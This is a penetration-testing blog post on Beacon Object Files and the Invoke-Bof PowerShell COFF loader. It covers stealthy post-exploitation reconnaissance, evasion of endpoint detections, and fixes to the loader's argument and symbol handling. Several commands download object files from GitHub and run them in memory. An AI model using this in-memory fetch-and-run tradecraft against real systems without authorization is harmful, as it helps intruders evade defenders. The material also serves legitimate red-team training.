An Operators Guide to Beacon Object Files
Beacon object files (BOF) are the new method for conducting post-exploitation activities on compromised systems. BOFs are more OPSEC friendly than the previously popular fork and run tradecraft.
This blog aims to provide the necessary tools and knowledge to start incorporating BOFs in your hacking toolkit. This guide is aimed at experienced penetration testers that want to get an understanding of BOFs and their benefits. I will cover the following topics:
- Background information on BOFs.
- Examples of using BOFs with the Invoke-Bof COFF Loader.
- Identifying and fixing bugs in the Invoke-Bof COFF Loader.
Context
Anti-Virus evasion has strongly focussed on avoiding writing malicious files to disk. As such command & control (C2) frameworks introduced the Fork & Run pattern for post exploitation. In the Fork & Run pattern a sacrificial process is started and the malicious program (payload) is injected into that process. This is great from a stability point of view, as a payload crash will not cause your implant to crash.
The payloads are typically programmed as a reflective DLL. A reflective DLL is essentially a normal DLL with a special loader function that can load the DLL into memory without requiring the DLL to be stored on disk. To load the DLL the loader function must be invoked, after that the traditional DLL entrypoint can be invoked. This technique was originally published by Stephan Fewer, read the code for all the details.
Nowadays, there are many detections for process creation and process injection. In addition, memory scanners have been developed to detect DLLs in memory, that cannot be traced back to a file on disk. As a result, the Fork & Run strategy has become unusable for stealthy operations. In response, Cobalt Strike introduced BOF files in their 4.1 release.
What are BOFs
BOF files are the object files produced by a compiler before linking them together into a single executable. These files follow the Common Object Format File (COFF) standard. This means that they cannot be executed from top to bottom, like shellcode can. Instead, they require a Loader in order to be executed. In addition, the loader must implement the beacon.h API for printing output and retrieving input arguments.
A COFF loader will perform 4 key actions:
- It will map the BOF sections into memory.
- Performing relocations as needed.
- Resolve any external and beacon API functions.
- Pass control to the entrypoint of the BOF
Why do I need BOFs
The main benefit of BOFs is that they allow you to create re-usable offensive capabilities. By implementing your tool as a BOF, you can use your tool with any C2 framework that comes with a COFF loader. Rather than having to convert your tool to the specific plugin/extension format of a single framework. This also significantly reduces the effort required to create a feature-rich custom implant. By programming a COFF Loader yourself, you get instant access to a large arsenal of existing open-source BOFs.
OPSEC-wise BOFs use the Win32 API to query the OS for information or to instruct the OS to perform actions rather than through command line instructions. Defenders closely monitor and alert on suspicious command line activity (nothing like announcing your presence with whoami.exe /all). By learning how to use BOFs you will be able to efficiently bypass those detections.
However, there is one notable downside of BOF: They execute inside the process memory of the implant. So if you accidentally pass the wrong arguments and cause the BOF to crash, you will also crash your implant. And as a result you will lose your access…. As such, take appropriate precaution and must test BOFs thoroughly in the lab prior to running them in your engagement.
Be aware that BOFs typically run in the main thread of the implant. As such, they are suitable for short-lived commands and operations. As they take control of the main thread they are typically not usable for running background jobs (e.g. like the Rubeus monitor command).
Developing BOFs
This guide will not discuss how to develop your own BOF file (maybe in the future I will). Regardless, if you want to work with BOFs, or possibly combine the files you should be aware of a few things:
- As a good operator you do read the source code and compile the file yourself. For BOFs, you must make sure to only compile the file into an object file and not link it. Check your preferred compile for the required flags (Fortra’s BOF manual with compiler instructions)
- Ensure your BOF file is compiled for correct architecture. Attempting to run a 32-bit BOF in a 64-bit implant, or vice versa, will cause a crash.
- A compiler will compile a single c file into a single object file. As such your BOF should be written as a single c file with any number of header files. If you must use multiple c files you can use the
#includedirective to work around this.
Usage: Case Study
OK, so BOFs are great, now how do we go about them? Well, let’s go through a case study. To tag along you will need the following:
- A Windows VM with Defender disabled (for convienence)
- The Invoke-Bof COFF Loader developed in PowerShell by Airbus
- The Situational Awareness BOF collection developed by TrustedSec
But before we get started, we will modify the COFF loader to print the output in a readable format. In the Invoke-Bof.ps1 file, go to line 750 and change the line with Format-Hex to the following:
1Write-Host "=============================== Beacon Output =============================="
2[System.Text.Encoding]::UTF8.GetString($ManagedTemp) | Write-Host
3Write-Host "============================================================================"
BOFs without Parameters
Let us start by running a simple BOF that does not take any input. The whoami BOF will be the first example. The Invoke-Bof function takes 4 parameters:
BOFBytes: A byte array containing the beacon object file to load and execute.EntryPoint: Name of the function exported to execute in the beacon object file.ArgumentList: List of arguments that will be passed to the beacon, available through BeaconParse API.UnicodeStringParameter: All string parameter in ArgumentList will be converted into Unicode.
The first parameter is clear and should not come as a surprise. However, the EntryPoint parameter needs some explanation. Normally when you compile a C program on Windows it will be compiled to the Portable Executable format. The Optional Header in a PE file contains the EntryPoint field that contains a pointer to our main method. However, our object file does not have this, instead we have to specify it manually. Fortunately the community generally follows the convention that the entrypoint is called Go.
So open up PowerShell, import the invoke-Bof function and invoke your first BOF:
1. .\Invoke-Bof.ps1
2$bof_bytes = (New-Object Net.WebClient).DownloadData('https://github.com/trustedsec/CS-Situational-Awareness-BOF/raw/refs/heads/master/SA/whoami/whoami.x64.o')
3Invoke-Bof -BOFBytes $bof_bytes -EntryPoint "go"
If all is well you should see some output that appears to very similar to the output of the whoami.exe /all command.

But, what to do when the entrypoint is not named go? Well, you could just call all functions one by one until one works. But I would rather show you a more methodical approach. Typically, the first thing a BOF will do is to retrieve its parameters. To do so it will create a variable with the type datap and call the BeaconDataParse function, so searching for strings should help you to identify the entrypoint.
BOFs with Parameters
A COFF Loader passes arguments to the BOF by packing them into a buffer of bytes and then passing the address and length of the buffer to the entrypoint of the BOF. The BOF can then use the BeaconDataInt, BeaconDataShort and BeaconDataExtract functions to unpack the buffer and retrieve the parameter values. So, if you are following the documentation and a BOF is crashing anyway. Look for these functions to reverse engineer what the parameters should be and check if that corresponds with what you are supplying.
Tip: If you want to understand how the BOF arguments are packed, then search for the Load-BeaconParameters function in Invoke-Bof.ps1 file.
So let’s put this into practice with an example: the cacls BOF. Consult the Available commands table in the readme for Situational Awareness repository to determine what parameters the BOF accepts. It appears to only take a filepath parameter:

To run the BOF we can re-use the PowerShell command from before. However, the command must be extended to also use the -ArgumentList parameter in order to pass our parameter to the BOF. As a test, we will instruct the BOF to retrieve the ACL for the C:\Users directory.
1. .\Invoke-Bof.ps1
2$bof_bytes = (New-Object Net.WebClient).DownloadData('https://github.com/trustedsec/CS-Situational-Awareness-BOF/raw/refs/heads/master/SA/cacls/cacls.x64.o')
3Invoke-Bof -BOFBytes $bof_bytes -EntryPoint "go" -ArgumentList @("C:\Users")

The BOF appears to fail and reports an error. So lets debug this. First we’ll search the source code for the error message to determine what went wrong. This yields the single result shown below. The BOF printed the error because the call to FindFirstFileW failed. In the Win32 API there are many functions postfixed with an A or W. These stand for ANSI and Wide respectively and indicate if the function accepts strings in ANSI or Unicode format.

The Invoke-Bof loaders encodes string arguments as ASCII (which is ANSI compatible) by default. You can figure this out be tracking down the Load-Beaconparameters function in the Invoke-Bof.ps1 script. Fortunately, it also provides the -UnicodeStringParameter parameter to change the encoding to Unicode.

Let’s run the BOF again, but this time provide the -UnicodeStringParameter. The BOF should be printing the ACL for the C:\Users directory this time (your output should be similar to screenshot below).
1Invoke-Bof -BOFBytes $bof_bytes -EntryPoint "go" -ArgumentList @("C:\Users") -UnicodeStringParamter

BOFs with Optional Arguments
The last type of parameter we must discuss is the optional parameter. Consult the Available commands table in the readme for Situational Awareness repository and note that some parameters are marked as optional. Let’s dig into the example of the enum_filter_driver BOF. According to the documentation it takes a single optional argument called computer.

Let’s run the BOF without specifying any argument and see what happens. Although the parameter was optional, the error clearly indicates that the BOF tried to retrieve it. It even causes an Access Violation Exception and crashes the process (remember I told you it was important to test in the lab):
1. .\Invoke-Bof.ps1
2$bof_bytes = (New-Object Net.WebClient).DownloadData('https://github.com/trustedsec/CS-Situational-Awareness-BOF/raw/refs/heads/master/SA/enum_filter_driver/enum_filter_driver.x64.o')
3Invoke-Bof -BOFBytes $bof_bytes -EntryPoint "go"

To determine why this happens we must analyze the source code of the BOF. In particular the code responsible for parsing the parameters. As you can see in the source code below the BOF unconditionally tries to retrieve data from the argument buffer. Next, it proceeds to dereference the extracted data. Since we did not supply any, this results in an Access Violation.

So lets give the BOF some data to overcome this, in this case we can give it the empty string (""). As strings are terminated with a null byte this should allow us to reach the if statement and instruct the BOF to convert it to the NULL pointer and proceed. However, this appears to result in the same crash.

This crash is actually due to a bug in the Invoke-Bof COFF Loader (it fails to properly check and handle for $null). Rather than fixing the loader, let’s take this opportunity to over complicate things, and learn some more about BOF parameter passing. We will develop a clever trick to work around the bug and execute the BOF.
Let’s take a closer look at how the arguments are parsed and handled. Below is the argument parsing code of the BOF. Observe that the BOF file expects to receive a string from the parser (line 5). Next, it checks if the string is empty by dereferencing the pointer and checking that is equal to 0x0, which marks the end of a string in the C language. So we if we pass an empty string (0x0) we should be fine, and yet we have a crash…
1datap parser = {0};
2LPCSTR szHostName = NULL;
3
4// Get arguments
5BeaconDataParse(&parser, Buffer, Length);
6szHostName = (LPCSTR)BeaconDataExtract(&parser, NULL);
7
8// Check arguments
9if (*szHostName == 0)
10{
11 szHostName = NULL;
12}
It seems there is still something wrong with our parameters as the BOF is still crashing. Let’s inspect the parameter buffer to determine the root cause of the crash. To this end, modify the Invoke-Bof.ps1 script at line 1461 to dump the contents of the buffer.
1# Marshal parameters in memory
2$ArgumentsBytes = [IntPtr]::Zero;
3$ArgumentsBytesLength = 0
4if ($ArgumentList -ne $null)
5{
6 $ArgumentsBytes, $ArgumentsBytesLength = Load-BeaconParameters -ArgumentList $ArgumentList -UnicodeStringParameter $UnicodeStringParameter
7}
8
9# Start bof in memory
10Write-Host "*************************** BOF ARG BUFFER *********************************"
11$managedArray = New-Object Byte[] $ArgumentsBytesLength
12[System.Runtime.InteropServices.Marshal]::Copy($ArgumentsBytes, $managedArray, 0, $ArgumentsBytesLength)
13$managedArray | format-hex | write-host
14Write-Host "****************************************************************************"
15
16Start-Bof -Bof $bof -EntryPoint $EntryPoint -ArgumentBytes $ArgumentsBytes -ArgumentBytesLength $ArgumentsBytesLength
Now run the command again and observe that we get a new error, which indicates that our source ($ArgumentsBytes) is $null. So no parameters appear to have been sent to the BOF.

I won’t spoil the reason why just yet, as that will be covered in the next section. Now run the BOF again but with a string parameter this time to determine what the buffer should look like:

Our input appears to be formatted as the length in 32-bit, followed by our string terminated with a null byte. So what we would need to send to the BOF is buffer starting with a 32-bit int for the length followed by a null byte to represent the empty string.
Let us find another way to send this data to the BOF as the COFF Loader appears to not be handling the empty string properly. By inspecting the BeaconData* functions in the Invoke-Bof.ps1 script, we learn that all data types use the BeaconDataParsePrivate function under the hood. In other words, integers are also encoded as a 32-bit length field (fixed to a value of 4) followed by its value.
![]()
So we want to find an integer that starts with 2 null bytes and send it to the BOF (we want 2 null bytes in case a BOF expects a Unicode string, which is terminated with 2 null bytes instead of 1). This should confuse the BOF, and cause it to interpret the value as the empty string. This will only work if the BOF ignores the length returned by the BeaconDataExtract function. Fortunately, many BOFs do so when they expect a string.
So what could this magic number be? To compute this number you must be aware that Windows stores integers in little-endian, which means that the least significant bytes are stored first. So the 16 first bits of our magic number should be 0 and then there can be any value. The smallest number that satisfies these constraints is 2^16 = 65536.
In the screenshot below we show that the first red block will be decoded as the length and the second red box will be dereferenced as an empty string as it only contains 2 null bytes. As a result the BOF will now run without crashing. This only works because the returned length value of BeaconDataParse is ignored (pointer set to NULL)

Getting optional arguments to work in this way was a fun challenge. But if we really want to incorporate this BOF loader in our tool set, we should fix the bugs to prevent weird behavior in the future.
Fixing the COFF Loader
Before proceeding beyond this point, I highly recommend you try to fix the loader yourself. This is an excellent excuse to dig deeper into the material. It is in my opinion an achievable project (I did challenge myself to do it, and you are now enjoying the results).
There is just one bug we haven’t encountered so far, but it will present itself when you test your solution with the ldapsearch BOF (also part of the Situational Awareness repo). When creating your own solution you may want to refer to the following documentation:
Don’t continue reading if you want to try it yourself without any hints. Below I will indicate a few areas that contain bugs. There is no further content other than my fixes for the loader (so no reason to #fomo)
What is $null
Recall from the previous section that when set -ArgumentList to the value of @("") it resulted in an error. This is because PowerShell is quite peculiar when checking for $null values. When checking for the $null value, you must have it to the left of the -eq operator, if you put it on the right you get unexpected results (msdn).

Forgot about those
The following is a citation from the BOF manual published by Fortra: “GetProcAddress, LoadLibraryA, GetModuleHandle, and FreeLibrary are available within BOF files. You have the option to use these to resolve Win32 APIs you wish to call. Another option is to use Dynamic Function Resolution (DFR).”
The ldapsearch BOF in Situational Awareness repository makes use of the GetProcAddress, LoadLibraryA and FreeLibrary functions without DFR. Let’s try to run the BOF:

It seems the Loader forget to resolve some functions. To fix this, locate the Resolve-Extern function. This function is responsible for linking all external functions. Notice that the code has 2 major parts: The first part takes care of all the Beacon functions and the second part takes care of all function names that contain a $, aka the DFR functions.
So when a BOF uses any of the GetProcAddress, LoadLibraryA, GetModuleHandle, and FreeLibrary functions without DFR, then the Resolve-Extern function will fail to parse them. All of these functions are contained in the kernel32.dll library. We will simply rewrite the symbols to match the DFR notation, so that they will get resolved correctly in the second part. So extend the first if else statement at line 1030 with the following cases:
1elseif($Symbol -eq "__imp_LoadLibraryA")
2{
3 Write-Debug "[+] Resolving LoadLibraryA"
4 $Name = "__imp_KERNEL32`$LoadLibraryA"
5}
6elseif($Symbol -eq "__imp_GetProcAddress")
7{
8 Write-Debug "[+] Resolving GetProcAddress"
9 $Name = "__imp_KERNEL32`$GetProcAddress"
10}
11elseif($Symbol -eq "__imp_FreeLibrary")
12{
13 Write-Debug "[+] Resolving FreeLibrary"
14 $Name = "__imp_KERNEL32`$FreeLibrary"
15}
16elseif($Symbol -eq "__imp_GetModuleHandleA")
17{
18 Write-Debug "[+] Resolving GetModuleHandleA"
19 $Name = "__imp_KERNEL32`$GetModuleHandleA"
20}
Now the COFF Loader resolves all the external functions for the ldapsearch BOF.

I have created a pull request to have these fixes merged into the original repository, so everyone may benefit from these.
The last mile
To finish the project extend the Invoke-Bof COFF Loader even further. Some ideas:
- Support a mix of ANSI and Unicode string parameters
- Support byte buffers as input parameter type